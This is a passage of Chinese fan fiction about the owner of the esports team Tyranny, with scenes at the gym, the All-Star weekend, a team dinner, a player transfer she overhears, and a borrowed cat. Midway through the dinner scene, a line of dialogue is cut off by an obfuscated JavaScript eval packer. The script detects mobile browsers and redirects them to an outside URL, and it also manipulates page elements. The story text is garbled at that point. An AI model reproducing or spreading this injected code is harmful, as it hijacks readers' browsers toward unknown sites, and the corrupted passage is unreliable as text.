她正准备上跑步机,忽然听到角落传来有节奏的击打声。 秦昭昭转头看去,韩文清正在打沙袋。 他穿着黑色的背心和运动短裤,戴着拳套,汗水已经湿透了背心,紧贴在身上,勾勒出结实的肌肉线条。每一拳都又快又狠,砸在沙袋上发出沉闷的响声。沙袋被他打得剧烈晃动,链条发出“嘎吱嘎吱”的摩擦声。 秦昭昭站在门口,看呆了。 她见过韩文清训练时的样子,见过他在赛场上比赛时的样子,但没见过他打沙袋的样子。 那么专注,那么用力,每一拳都像是要把所有情绪都发泄出来。 韩文清又打了几拳,才停下来。他摘下拳套,用毛巾擦了擦汗,然后才注意到门口有人。 “秦总?”他转过头,有点惊讶。 “韩、韩队。”秦昭昭回过神,赶紧走进来,“你也来锻炼啊?” “嗯。”韩文清把毛巾搭在肩上,“睡不着?” “有点。”秦昭昭走到跑步机旁边,“可能是晚饭吃太多了,想运动一下消化消化。” 她说着,上了跑步机,调了个慢速,开始慢跑。 韩文清也没再打沙袋,走到旁边的器械区,开始做卧推。 健身房又安静下来,只有跑步机运转的声音和杠铃起落的声音。 秦昭昭跑了一会儿,忍不住偷偷看韩文清。 他躺在卧推凳上,双手握着杠铃,每一次推起都绷紧全身肌肉,手臂上的青筋清晰可见。汗水顺着下颌线往下滴,砸在地垫上。 秦昭昭看得有点脸红,赶紧移开视线。 但她脑子里又冒出刚才饭桌上的画面。 “韩队。”她忽然开口。 “嗯?”韩文清放下杠铃,坐起来。 “刚才……谢谢你。”秦昭昭小声说。 韩文清看着她,没说话,眼神像是在问“谢什么”。 “谢谢你跟我说我没有胖。”秦昭昭说完,又补充了一句,“虽然我知道你可能是骗我的……” “没有骗你。”韩文清打断她。 秦昭昭愣了一下。 韩文清站起来,走到饮水机旁边接了杯水,喝了一口,然后说:“你确实没有胖。” 他说得很肯定。 秦昭昭从跑步机上下来,走到他面前,仰头看着他:“真的?” “嗯。”韩文清点头,“和以前一样。” 他看着秦昭昭,很认真地说:“你很好,不用在意那些。” 秦昭昭被他看得脸红了。 她低下头,小声说:“可是张副队说我胖了……” “他不懂。”韩文清说,“你这样就很好。” 他说完,可能觉得自己说得太直白了,又补充了一句:“健康最重要。” 秦昭昭抬起头,看着韩文清。 他刚运动完,脸上还有汗,头发有点乱,但眼神很认真。那种认真,比任何甜言蜜语都让人心动。 “韩队。”秦昭昭忽然笑了,“你真好。” 韩文清被她笑得有点不自在,移开视线:“快去跑步。” “哦。”秦昭昭乖乖回到跑步机上,重新开始跑。 但她嘴角一直向上翘着。 韩文清也重新开始做卧推。 健身房又恢复了安静,但气氛好像有点不一样了。她跑了一会儿,速度慢下来,改成快走。 “韩队,你说咱们今年能拿冠军吗?”她忽然问。 韩文清放下杠铃,坐起来,看向她:“你想拿吗?” “想啊!”秦昭昭毫不犹豫,“特别想!” “为什么?”韩文清问。 秦昭昭想了想,很认真地说:“因为那是你们的梦想啊。韩队你想拿冠军,张副队想拿冠军,张佳乐前辈想拿冠军,林敬言前辈也想拿冠军……我想帮你们实现这个梦想。” 韩文清看着她,看了很久。然后他说:“我们会拿到的。” 他说得很平静,但语气里有一种不容置疑的坚定。 秦昭昭用力点头:“嗯!我相信你们!” 两人又锻炼了一会儿。秦昭昭跑了四十分钟,出了一身汗,感觉整个人都轻松了。韩文清也结束了训练,正在擦汗。 “韩队,我回去了。”秦昭昭说。 “嗯。”韩文清点头,“早点休息。” “你也是。”秦昭昭挥挥手,走出健身房。 26.买下霸图的第二十六天 G市的冬天没有Q市那种凛冽的北风,空气里漫着的是一种绵密湿冷的寒意,像看不见的细针,悄悄往骨缝里钻。全明星周末的举办场馆外却是一派火热景象,人潮如织,各色应援牌在昏暗天色下摇晃出绚烂光斑,粉丝们裹着厚外套,高声呼喊着支持战队的名字,把入口围得水泄不通。 秦昭昭紧紧裹着自己那件带霸图队徽的深色羽绒服,跟在队伍中段,努力不被人流冲散。她今天特意将长发扎成了利落的高马尾,几缕碎发落在耳边,随着动作轻轻晃动。看着前面黑压压的人头,她忍不住小声吸了口气:“天哪,人也太多了吧……” 走在前方的韩文清闻声回过头,场馆外的灯光在他棱角分明的脸上投下硬朗的阴影。他没说话,只是朝她伸出了手,手掌宽厚,手指修长有力。 秦昭昭怔了一瞬,随即反应过来,赶紧伸出自己的手,指尖轻轻攥住了他外套的袖口。韩文清手腕很稳,带着一种不容置疑的力道,像一艘破开海浪的船,领着她灵活地在拥挤的人群中穿行。不过片刻,两人便踏进了相对安静的选手通道。 通道里光线明亮,只有零星工作人员快步走过。秦昭昭松了口气,松开手,仰起脸对韩文清笑道:“谢谢韩队。” “嗯。”韩文清低低应了一声,目光在她因冷空气而微红的鼻尖上停留了一瞬,随即转身继续向前走去。 霸图的座位安排在观众席前排,视野极佳。秦昭昭坐下后,便好奇地左右张望起来。巨大的环形场馆气势恢宏,中央舞台上方悬着的四面电子屏正播放着荣耀最新的宣传片,激昂的交响乐通过顶级音响震动着空气。观众如潮水般涌入,嗡嗡的交谈声、笑声、呼喊声混在一起,酝酿出节日般的沸腾气氛。 “秦总第一次来全明星现场?”身旁传来温和的询问声。 秦昭昭转过头,看见林敬言正微笑着看她,镜片后的眼睛弯成和煦的弧度。“嗯!”她用力点头,“以前只能在直播里看,现场的感觉真的太不一样了!” “确实,”林敬言赞同道,目光也扫向逐渐坐满的看台,“这里的空气都带着热量。” 正说着,场馆内所有灯光骤然熄灭,只余下安全出口微弱的绿光。全场为之一静,紧接着,一束强烈的追光“啪”地打在舞台中央,主持人昂扬的声音响彻每个角落:“各位观众,欢迎来到荣耀全明星周末!” 开场表演华丽夺目。变幻的激光束切割黑暗,身着各职业华丽COS服装的演员在台上穿梭走秀,配合着震撼的音响与炫目的视频特效,瞬间将气氛点燃。秦昭昭看得入了迷,身体不自觉地微微前倾,嘴里不时发出低低的惊叹。 她毫不掩饰自己的兴奋,坐在她旁边的林敬言看着她神采飞扬的侧脸,忍不住轻轻笑出了声。 开场表演在热烈的掌声中落幕,接下来便是重头戏之一——新秀挑战赛。 主持人开始逐一介绍今年脱颖而出的新秀选手,一个个年轻的面孔带着或紧张或激动的神情走上舞台。秦昭昭手肘撑在膝盖上,掌心托着下巴,看得认真,偶尔还侧头和林敬言小声交流。 正低声说着,台上主持人的声音提高了一个度:“接下来,让我们有请——呼啸战队的唐昊选手!” 掌声中,一个神情倨傲、眼神锐利的少年大步走上台。他接过话筒,没有任何寒暄,直接开口,声音透过音响清晰地传遍全场:“我要挑战林敬言前辈。” 观众席间顿时响起一阵低低的哗然与议论。 秦昭昭立刻转过头,看向身边的林敬言。 林敬言脸上没什么波澜,只是习惯性地抬手推了推鼻梁上的眼镜,仿佛对这个选择早已有所预料。 主持人按照流程问道:“唐昊选手,可以分享一下你为什么选择挑战林敬言前辈吗?” 唐昊抬起下巴,目光直视前方,声音响亮而坚定:“因为我想证明,新人可以超越前辈。我要——以下克上。” 最后四个字,他咬得格外重,像出鞘的利剑,带着不加掩饰的锋芒与挑衅。 秦昭昭的眉头瞬间就拧了起来。 “以下克上?”她小声重复了一遍,嘴唇不悦地抿起,然后转向林敬言,语气里带着明显的抱不平,“林敬言,这新人说话也太狂了吧!” 林敬言只是温和地笑了笑,没接话。 “你可不能输给他!”秦昭昭不自觉地握紧了拳头,身体转向他,神情认真,“得让他知道,前辈可不是随随便便就能克的!” 她眼睛瞪得圆圆的,脸颊因情绪激动而微微泛红,那副义愤填膺的模样,仿佛恨不得自己冲上台去替林敬言理论一番。 林敬言原本对这场挑战赛看得很淡。全明星的新秀挑战,本质是展示与交流,胜负并非关键。他走上台时,心里想的不过是走个过场,应付一下便罢。 可此刻,看着秦昭昭那毫不掩饰的期待眼神,看着她眸子里闪烁的、毫无保留的信任光芒…… 林敬言忽然觉得,自己或许不该那么敷衍。 他再次推了推眼镜,站起身,顺手整理了一下队服外套的袖口。“那我上去了。”他的声音依旧平和。 “加油!”秦昭昭用力挥了挥拳头,语气笃定,“你一定赢!” 林敬言点点头,转身不疾不徐地走向舞台通道。 舞台上,灯光聚焦。大屏幕映出两人的游戏角色——林敬言的唐三打,唐昊的德里罗。倒计时的数字在全场观众的齐声倒数中跳动。 三、二、一! 比赛开始! 唐昊的德里罗一开场便发动了疾风骤雨般的抢攻,年轻的手速发挥到极致,操作刚猛,攻势凌厉,充满了初生牛犊不畏虎的悍勇。 然而林敬言的唐三打,面对汹涌而来的攻击,他总能以毫厘之差轻盈避开,或是以精准的格挡化解力道。唐昊的每一击都仿佛打在柔韧的网上,劲力被悄然吸收、引偏。 观众席上,秦昭昭看得屏住了呼吸。 “太厉害了……”她喃喃道,“看起来好像没怎么动,但每一步都好像算好了。” 坐在她另一侧的张佳乐抱着手臂,点头道:“老林本来就是技术流大师,手伤之后,战术计算更精了。你看他那个站位,始终卡在唐昊技能衔接最别扭的点上。” “可是唐昊攻得好急,”秦昭昭不无担忧地瞥了一眼屏幕上的血条,“林敬言的手……” “放心。”前排的韩文清沉声道,目光依旧锁定屏幕,“他心里有数。” 果然,场上的林敬言虽看似被动,血线却下降得极为缓慢。他总能在千钧一发之际避开关键伤害,随后用出一些看似不起眼却极其有效的反击,利用地形卡住视角,悄无声息绕至背后,精确打断对手的技能读条…… 唐昊久攻不下,越发急躁,操作开始出现细微的变形。 林敬言镜片后的目光微微一凝,抓住一个稍纵即逝的破绽,唐三打骤然由守转攻!一连串看似朴实无华、实则衔接精妙的技能流畅打出,德里罗的血条如同雪崩般骤然见底! 荣耀! 巨大的金色字样在屏幕中央灿然绽放。 掌声如雷动!这场对决,新人的锐气与老将的底蕴展现得淋漓尽致,虽败犹荣。 唐昊摘下耳机,脸色有些发青。他走到舞台中央,生硬地伸出手,从牙缝里挤出几个字:“谢谢前辈指教。” 林敬言坦然与他握手,语气平和依旧:“打得很好,未来可期。” 采访环节,主持人将话筒递给林敬言:“林敬言大神,对刚才这场精彩的挑战赛,您有什么感想?” 林敬言略作思索,推了推眼镜:“唐昊选手潜力很大,手速和进攻意识都很出色。不过,有时候过于追求压制,反而会露出破绽。节奏可以再控制得好一些。” 他的点评客观而中肯,如同一位耐心的导师。 顿了顿,他的目光似乎无意地飘向台下霸图坐席的方向,唇角漾开一丝温和而清晰的笑意,补充道:“当然,前辈们也不是那么容易就能被超越的。” 台下,秦昭昭的眼睛瞬间亮了起来。她使劲地拍着手,掌心拍得通红,脸上绽开毫无阴霾的灿烂笑容,还转头对旁边的张佳乐说了句什么,兴奋之情溢于言表。 林敬言看着她的笑容,自己眼中的笑意也加深了几分。 新秀挑战赛环节结束,第一天的活动也临近尾声。观众开始退场,选手们也陆续起身。 秦昭昭一边把自己的围巾重新绕好,一边对走回来的林敬言笑道:“林敬言前辈,刚才真的太帅了!尤其是最后那一波反击,行云流水!” 林敬言笑着摇摇头:“正常操作而已。” “绝对是超常发挥!”秦昭昭坚持,还模仿了一下唐昊下台时的表情,皱了皱鼻子,“你没看到那小子后来的脸色,啧啧。” 张佳乐凑过来,勾住林敬言的肩膀:“可以啊老林,宝刀未老。” “去你的。”林敬言笑骂着用手肘轻撞了他一下。 一行人随着人流走出场馆。G市的夜空已被霓虹染成一片朦胧的暖色,晚风带着湿润的凉意。街道上依旧车水马龙,热闹未散。 秦昭昭忽然想起什么,眼睛一亮,转向林敬言:“对了林敬言前辈,你以前的搭档,方锐,这次也来了吧?难得都在G市,要不要叫上他一起吃点夜宵?” 林敬言微怔:“方锐?” “对呀!”秦昭昭点头,“你们好久没见了吧?正好聚聚嘛。” 林敬言想了想,点头:“我问问他。”他掏出手机,快速打了几个字。不一会儿,屏幕亮起。“他答应了,问去哪。” “太好了!”秦昭昭开心地一拍手,“我知道有家老字号口碑很棒!我让助理马上订位!”她立刻走到一旁打起电话。 餐厅订在G市一家颇负盛名的老店,包厢宽敞雅致。霸图众人抵达时,蓝雨的人居然也在隔壁,是黄少天出来的时候先发现的。 “老韩!张佳乐!林敬言! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16987313|192419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 张新杰!”黄少天几乎是从椅子上弹起来的,语速快得像连珠炮,“你们也来了?今天老林打得漂亮啊!唐昊那小子是得敲打敲打!不过要论新人潜力那还得看我们蓝雨今年那个……” 众人各自落座,既然两个战队都在,干脆一起换了一个大包间。秦昭昭坐在林敬言和韩文清中间,对面正好是喻文州与黄少天。张新杰与张佳乐坐在另一侧。 方锐是最后一个推门进来的。他看到满屋子人,夸张地“嚯”了一声:“阵仗这么大?” “方锐!来来来,”秦昭昭热情地招呼,“这边坐!” 方锐笑嘻嘻地在林敬言旁边落座,顺手捶了一下老搭档的肩膀:“可以啊老林,今天台上那几下,帅!” 林敬言笑着摇摇头:“凑合。” 精致地道的粤菜陆续上桌。清亮油润的白切鸡、鱼肉嫩滑的清蒸东星斑、皮脆肉嫩的烧鹅、晶莹剔透的虾饺皇、滑爽鲜香的肠粉……摆满了转盘。 气氛很快热络起来。黄少天自然是话题发动机,从赛事走向聊到装备更新,从联盟八卦聊到各地美食,嘴巴几乎没停过。喻文州偶尔含笑插言,总能恰到好处地接续或引导话题。张佳乐则和黄少天斗嘴斗得不亦乐乎。韩文清沉稳坐如山,听得专注。张新杰时不时推一下眼镜,补充一两句严谨的数据或战术分析。 秦昭昭吃得眉眼弯弯,也时不时加入聊天。 但吃着吃着,她察觉到一点异样,林敬言的目光似乎总若有若无地落在她身上。 第一次,她刚吃完一个虾饺,目光还在寻觅,林敬言便默不作声地转动转盘,将虾饺笼停在她面前。 第二次,她想夹远处的烧鹅,刚微微探身,林敬言已经用公筷替她夹了一块最好的部位,轻轻放在她碟中。 第三次,她喝了口茶不小心呛到,低声咳嗽,林敬言立刻递过一张纸巾,同时将她手边微凉的茶杯挪开,换上了一杯温热的。 …… 秦昭昭看着自己碟子里渐渐堆起的小山,终于忍不住,转头对林敬言小声道:“林敬言,你别光顾着给我夹啦,你自己也吃,我真的吃不下了。” 林敬言似乎这才回过神来,略显不好意思地推了推眼镜:“抱歉,习惯了。” “习惯?”秦昭昭好奇。 “嗯……以前在呼啸,队里年纪小的队员多,总不自觉会多照顾些。”林敬言温和地解释。 秦昭昭了然地点点头,没再多想。 然而,这一切都被坐在林敬言另一侧的方锐尽收眼底。 他看看林敬言那自然而然、几乎成为本能的照料动作,又看看秦昭昭那全然接受、毫不设防的态度,再目光微移,掠过秦昭昭另一边始终坐姿笔挺、神情冷峻的韩文清,对面眼神锐利、不动声色的张新杰,还有另一边同样开朗、正和黄少天聊得火热的张佳乐…… 方锐的眉毛挑动了一下,嘴角勾起一抹玩味的、了然的弧度。 聚餐结束时,已近深夜。 众人走出餐馆,在门口互相道别。蓝雨众人返回俱乐部,其他人则各自回下榻的酒店。 方锐和林敬言落在最后。 “老林,”方锐忽然开口,声音里带着明显的笑意,用手肘碰了碰林敬言,“可以啊你。” 林敬言侧头,目露疑惑:“什么可以?” “还装傻?”方锐朝前方正和韩文清说着话的秦昭昭背影努了努嘴,“对你家这位小秦总,挺上心嘛。” 林敬言一愣,随即失笑,摇头道:“她是战队老板,多照顾些是分内之事。” “得了吧,”方锐笑得露出一口白牙,“当年在呼啸,我可没见你这么分内地照顾过经理。” 林敬言一时语塞,没有接话。 方锐见状,抬手重重拍了拍他的肩膀,语气变得意味深长:“加油啊老林。不过,”他压低声音,带着点戏谑,“我看你的对手,可不止一个哦。” 林敬言眉头微蹙:“对手?什么对手?” “自己琢磨琢磨呗。”方锐留下一个神秘兮兮的笑容,挥挥手,“走了!下次赛场见!” 说完,他潇洒地转身,哼着不成调的小曲,很快融入斑斓的夜色之中。 林敬言独自站在原地,望着方锐消失的方向,又抬眼看了看前方。秦昭昭正微微仰头听着韩文清说话,侧脸在路灯下显得柔和而专注。 对手? 他缓缓摇了摇头,将那点莫名的思绪甩开,觉得大概是自己想多了。 快走几步跟上队伍,秦昭昭听到脚步声回过头来,眼中还带着未散的笑意:“林敬言,方锐走啦?” “嗯。”林敬言点头,走到她身侧。 “他这人真有意思,”秦昭昭笑道,“说话风趣,一点架子都没有。” “他一直都是这样。”林敬言温和地应道,目光落在她被夜风吹起的发丝上,又不着痕迹地移开。 夜色渐深,城市的灯火温暖地亮 着。 27.买下霸图的第二十七天 全明星周末进入第三天,场馆里的气氛比前两天更加热烈。观众席坐得满满当当,各色应援牌在灯光下来回晃动,欢呼声一阵高过一阵,几乎要把屋顶掀翻。 秦昭昭坐在霸图席位里,眼睛紧紧盯着大屏幕,手里捏着刚买的爆米花桶,早就忘了吃。今天是全明星的重头戏——全明星对抗赛。二十四位全明星选手分成两队对战。韩文清、张佳乐、张新杰都进了A队,林敬言在B队。 “韩队加油!”秦昭昭忍不住喊了一声,声音却立刻被周围的声浪淹没了。 坐在旁边的张佳乐听见了,扭过头冲她笑:“秦总,光给老韩加油啊?我也要。” “都加油都加油!”秦昭昭赶紧说,顺手从桶里抓了一把爆米花递过去,“吃吗?” 张佳乐接过来扔进嘴里,含糊不清地说:“谢啦。” 比赛正式开始。 “这阵容……”秦昭昭看着大屏幕上角色的载入画面,轻轻吸了口气,“也太吓人了吧。” “全明星嘛,图个热闹。”坐在她旁边的白言飞温和地接话,“输赢不重要,打得精彩就行。” 话是这么说,可真打起来,谁也没手软。 团队赛刚一开始,黄少天的夜雨声烦就像脱缰的野马似的冲了出去,公共频道里刷满了他的消息:“老韩左边左边!张佳乐掩护我!王杰希你飞低点我看不见你了!队长给我加个状态!张新杰治疗跟上!” 韩文清的大漠孤烟根本没理他,直接迎面找上了周泽楷的一枪穿云。两个神级角色在场地中央硬碰硬,拳风呼啸,子弹横飞,每一次对撞都引来观众席一片惊呼。 张佳乐的百花缭乱在侧面游走,弹药专家的技能铺天盖地炸开,光影绚丽得让人眼花。张新杰的石不转稳稳守在后方,治疗术落点又准又稳,时不时还抽空丢个神圣之火,打断对面的关键节奏。 “太帅了……”秦昭昭看得眼睛都直了。 白言飞在一旁给她指点:“秦总你看张副队那个治疗,每次都给在对方集火前一秒。这就是预判。” “他怎么知道对方要打谁?”秦昭昭问。 “看走位。”白言飞指着屏幕,“你看一枪穿云的枪口一直对着大漠孤烟,虽然人在左移,但明显是要配合队友集火老韩。张副队看出来了,所以提前把治疗套了上去。” 秦昭昭似懂非懂地点点头。 比赛打得激烈,但也确实像白言飞说的,输赢没那么要紧,精彩最重要。两边你来我往,技能光效几乎铺满整个屏幕,观众的欢呼声一浪高过一浪。 最后是A队险胜,关键就在张新杰最后时刻的一个神圣之火,给韩文清创造了强杀周泽楷的机会。 比赛结束,全场观众都站了起来,掌声雷动。 秦昭昭也跟着站起,手都拍红了。 “太厉害了!”她激动地转向白言飞,“张副队最后那个技能放得太准了!” 白言飞笑着点头:“张副队一向这么稳,所以我们在场上才能放心往前冲啊。” 全明星对抗赛结束,第三天的重头戏也就告一段落。后面还有颁奖和闭幕式,但选手们已经可以陆续退场了。 秦昭昭跟着霸图的队伍往后台走,脑子里还在回放刚才比赛的画面。走到一半,她忽然想起什么,摸了摸外套口袋。 “坏了,”她停下脚步,“我手机好像落休息室了。” 走在前面的韩文清回过头:“什么?” “手机,”秦昭昭又说了一遍,“可能忘在休息室了。你们先走,我回去拿。” 张佳乐插话:“我陪你?” “不用不用,”秦昭昭连忙摆手,“你们先去停车场吧,我拿了就来,很快的。” 韩文清看了她一眼:“认得路?” “认得!”秦昭昭用力点头,“刚才不是一起走过的嘛。” 韩文清又盯着她看了两秒,才点头:“快点。” “知道啦!” 秦昭昭转身往回跑。 选手通道里这会儿人不多,大部分选手和工作人员都在前面参加闭幕式。灯光有些暗,长长的走廊里只有她一个人的脚步声。 霸图的休息室在走廊尽头。秦昭昭推门进去,一眼就看见自己的手机躺在沙发上。她松了口气,拿起来仔细看了看,屏幕没裂,也没摔坏。 正要离开,门外却传来隐约的说话声。 声音有点耳熟。 秦昭昭愣了一下,停住脚步。声音是从走廊拐角那边飘过来的,隔着门听不真切,但能听出是两个男的在说话。 她本来没打算偷听,可那声音实在太熟了。 犹豫了一下,秦昭昭还是轻手轻脚地挪到门边,把门拉开一道细缝。 声音清楚了些。 “……真的假的?”一个年轻人的声音,语气里压不住的兴奋和不敢相信。 “当然是真的。”另一个声音说,沉稳里带着笑意,“我亲自来找你谈,还能有假?” 秦昭昭皱了皱眉。 第一个声音她一时想不起来是谁,但第二个声音她认得,是陶轩。 嘉世的老板,上次在H市刚跟她吵过一架的陶轩。 秦昭昭的眉头皱得更紧了。她小心地把门缝又推开一点,探出半个脑袋,朝声音传来的方向望去。 走廊拐角的阴影里站着两个人。一个是陶轩,穿着笔挺的西装,脸上挂着那种生意人特有的笑容。另一个是个高个子年轻人,头发染成黄色,脸上激动得发红。 秦昭昭不认识这年轻人,但能猜到,应该是个职业选手。能来全明星周末的,不是选手就是相关工作人员。 “越云那边我会处理,”陶轩说,“转会费不是问题。只要你点头,下赛季你就能穿上嘉世的队服。” 陶轩叫他孙翔,激动得声音都有些抖:“那……一叶之秋……” “当然是你的。”陶轩笑了,“叶秋年纪大了,也该退下来了。嘉世需要新鲜血液,需要像你这样有冲劲的年轻人。一叶之秋交到你手里,一定能重现斗神的辉煌。” 秦昭昭在门后听得愣住了。 换掉叶秋? 把一叶之秋交给这个叫孙翔的年轻人? 她虽然跟叶秋只见过一面,但“斗神”的名号在荣耀圈里谁没听过?叶秋带着嘉世拿了三个总冠军,是联盟里公认的第一人。就算这赛季嘉世成绩不好,也不至于要换掉他吧? 而且……一叶之秋是叶秋的角色,从荣耀开服就跟着他。现在陶轩说给别人就给别人? 秦昭昭心里莫名地堵了一下。 走廊里,孙翔显然被陶轩的话彻底打动了。他用力攥紧拳头,声音发颤:“陶总,您放心,我绝对不辜负您的期望!一叶之秋在我手里,我一定让它重回巅峰!” “好!”陶轩重重拍了拍他的肩膀,“我就欣赏你这样的年轻人。有冲劲,有野心,这才是职业选手该有的样子。不像某些人,占着位置不出力,还摆架子。” 这话说得有点难听了。 秦昭昭在门后撇了撇嘴。 她虽然跟叶秋不熟,但那天在嘉世俱乐部见过一面,叶秋给她的印象……挺随和的,没陶轩说得那么不堪。 而且,什么叫“占着位置不出力”?叶秋这赛季的数据她看过,嘉世整体成绩是不好,可叶秋的个人表现依然是顶级的。队伍配合出了问题,总不能全怪他一个人。 秦昭昭越想越觉得陶轩这话不地道。 但她没吭声。 这是嘉世的事,是叶秋和陶轩的事,跟她没关系。她一个霸图的老板,没必要插手别家战队的内务。 走廊里,陶轩和孙翔又聊了几句,无非是转会细节和未来的打算。孙翔听得热血沸腾,不停点头。 最后陶轩说:“那就这么定了。全明星结束后,我会正式跟越云联系。你放心,所有手续我都安排妥,你只管安心准备下赛季。” “谢谢陶总!”孙翔的声音里满是感激。 “客气什么,以后就是一家人了。”陶轩笑道,“去吧,别让人看见。” 两人分开,陶轩朝另一个方向走了,孙翔则兴奋地快步离开。 秦昭昭等他们都走远了,才从休息室里出来。 走廊里又恢复了安静。 她站在门口,看着空荡荡的走廊,脑子里还在回响刚才的对话。 陶轩要换掉叶秋。 要把一叶之秋给孙翔。 孙翔现在在越云。秦昭昭知道越云,联盟里的小战队,成绩一直中下游。能从越云跳到嘉世,接手斗神一叶之秋,对孙翔来说确实是天大的机会。 可是叶秋呢? 秦昭昭想起那天在嘉世俱乐部,叶秋坐在电脑前打游戏的样子。那么专注,那么投入。还有苏沐橙,说起叶秋时眼里那种全然的信任和依赖。 如果叶秋知道陶轩要换掉他,会怎么想? 秦昭昭甩了甩头。 不想了,不关她的事。 她转身朝停车场的方向走。 走出场馆时,秦昭昭才发现外面下雨了。 雨不大,但细细密密的,在路灯下像笼着一层薄雾。地面湿漉漉的,映出城市模糊的霓虹光。夜风吹过来,带着雨水的凉意。 秦昭昭站在屋檐下,看着雨幕,有点发愁,她没带伞。 手机倒是拿回来了,可以打电话叫人送伞,可这么晚了,大家应该都回酒店了。而且停车场离这儿有段距离,让人冒雨过来接,她也过意不去。 正犹豫着,雨幕里忽然走过来一个人。 那人撑着把黑色的大伞,伞面遮住了上半身,看不清脸。但走路的姿势秦昭昭太熟悉了——腰背挺直,脚步沉稳,每一步都踏得扎实均匀。 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“我刚才回去拿手机的时候,”她压低声音,“听见陶轩在跟一个人说话。是个叫孙翔的选手,越云战队的。陶轩想让他下赛季转会去嘉世,接手一叶之秋。” 韩文清的脚步顿了一下。 秦昭昭继续说:“陶轩说叶秋年纪大了,该退下来了,要把一叶之秋给孙翔。孙翔特别高兴,当场就答应了。” 说完,她看向韩文清:“韩队,你说……陶轩真会把叶秋换掉吗?” 韩文沉默了几秒,才开口:“有可能。” “为什么?”秦昭昭不解,“叶秋不是还很强吗?这赛季他的数据……” “和实力无关。”韩文清打断她,“陶轩是商人。” 这话说得很简单,但秦昭昭听懂了。 陶轩是商人,商人看重的不是选手的实力,而是能带来多少利益。叶秋从不露面,不接代言,不配合商业活动,对陶轩来说,他再强也是个“不赚钱”的选手。 而孙翔,年轻,有冲劲,愿意配合,如果运作得好,完全可以打造成新的商业招牌。 秦昭昭心里有点不是滋味。 “那叶秋怎么办?”她问。 韩文清没说话。 两人又走了一段,快到停车场了,韩文清才开口:“那是他的事。” 语气很平淡,像在说一件无关紧要的事。 但秦昭昭知道,韩文清和叶秋打了这么多年,从第一赛季打到第八赛季,是宿敌,也是对手。他们之间有种外人不太能明白的联系。 她侧过头看向韩文清。 韩文清脸上没什么表情,但眉头微微蹙着,像在想着什么。 “韩队,”秦昭昭小声问,“你和叶秋……是朋友吗?” 这问题问得突然。 韩文清转过头看她,眼神有点复杂。 过了好一会儿,他才说:“不是。” “那是……” “对手。”韩文清说,“只是对手。” 他说得很肯定。 但秦昭昭觉得,能把一个人当作八年的对手,这本身就已经是一种特殊的关系了。 两人走到停车场,霸图的大巴车还等在那儿。张佳乐从车窗探出头:“秦总!老韩!你们可算来了!” 秦昭昭收起伞,上了车。 车里暖气开得足,和外面的湿冷完全是两个世界。张佳乐递给她一罐热咖啡:“给,暖暖手。” “谢谢。”秦昭昭接过,捧在手心里。 张新杰坐在前排,转过头:“秦总,东西拿回来了?” “拿回来了。”秦昭昭晃了晃手机。 “那就好。”张新杰推了推眼镜,“下次注意,别总丢三落四的。” “知道啦。”秦昭昭吐吐舌头。 林敬言坐在她旁边,温和地笑:“今天看得过瘾吗?” “过瘾!”秦昭昭眼睛一亮,“特别过瘾!你们打得都太帅了!” “那是!”张佳乐得意地扬了扬下巴,“全明星嘛,就得打得好看。” 秦昭昭笑着点头,心里那点不舒服慢慢散开了。 是啊,那些是别家战队的事,她操心也没用。她现在要做的,是看好自己的战队,支持自己的队员。 大巴车缓缓启动,驶入雨夜。 秦昭昭靠在窗边,看着窗外掠过的城市灯火。雨还在下,车窗上凝了一层薄薄的水雾,外面的世界变得模糊而温柔。 她忽然想起刚才韩文清说的话。 “陶轩是商人。” 那她呢? 她也是老板,也是商人。 但她永远不会像陶轩那样,把自己的队员当成商品。 28.买下霸图的第二十八天 从G市回来后,Q市进入了最寒冷的时节。天空总是灰蒙蒙的,偶尔飘点雪花,落地就化了。秦昭昭每天早上出门都要全副武装,围巾手套帽子一个不少,可还是觉得冷风往骨头缝里钻。 这天下午,秦昭昭刚处理完俱乐部的一些文件,手机就响了。是她的闺蜜林小雨打来的。 “喂,昭昭啊!”林小雨的声音听起来很兴奋,“跟你说个事!” “什么事这么高兴?”秦昭昭笑着问。 “我要出去玩啦!去三亚!一周!”林小雨说,“所以想拜托你个事儿……能不能帮我照顾一下我家小祖宗?” “小祖宗?”秦昭昭愣了一下,“你家猫?” “对!就那只三花,你见过的,特别乖!”林小雨语气里带着点哀求,“我爸妈去外地了,找不到人照顾。你就帮我照顾几天嘛,就几天!我给你带特产!” 秦昭昭想了想,觉得也不是不行。俱乐部地方大,养只猫应该没问题。 “行吧,你什么时候送来?” “现在!我就在你俱乐部楼下!”林小雨笑嘻嘻地说。 秦昭昭赶紧下楼,果然看见林小雨抱着个航空箱站在门口。看见她出来,林小雨赶紧把箱子递过来:“谢啦姐妹!猫粮猫砂猫玩具都在这里了,它很好养,不挑食不捣乱,就是有点黏人!” 她说完,匆匆忙忙挥手:“我赶飞机先走啦!回来请你吃饭!” 话音未落,人已经跑远了。 秦昭昭拎着箱子,哭笑不得。 她抱着箱子回到办公室,打开一看,一只三花猫正蜷在里面睡觉。听见动静,它睁开眼睛,那是一双琥珀色的眼睛,特别漂亮。 “嗨,小家伙。”秦昭昭伸手想摸摸它。 三花猫警惕地看着她,但没有躲。秦昭昭小心翼翼地把它抱出来,放在沙发上。猫很乖,不叫也不闹,只是用鼻子嗅了嗅周围的环境,然后找了个舒服的位置趴下了。 “还挺文静。”秦昭昭笑了,转身去给它准备猫粮和水。 等她弄好回来,发现猫已经不在沙发上了。 “咦?去哪儿了?”她四处张望。 办公室不大,一眼就能看遍。秦昭昭找了一圈,最后在书架后面找到了它。小家伙正扒着书架往上爬,动作敏捷得很。 “别爬书架!”秦昭昭赶紧把它抱下来,“那是放资料的,不能爬!” 猫被她抱在怀里,不满地“喵”了一声,但也没挣扎。 秦昭昭抱着它,忽然觉得这只猫还挺可爱的。毛茸茸的,暖乎乎的,抱在怀里像个小暖炉。 “你叫什么名字来着……”她想了想,“叫……花花?不对,三三?好像也不对……哎,算了,还是叫你三花吧。” 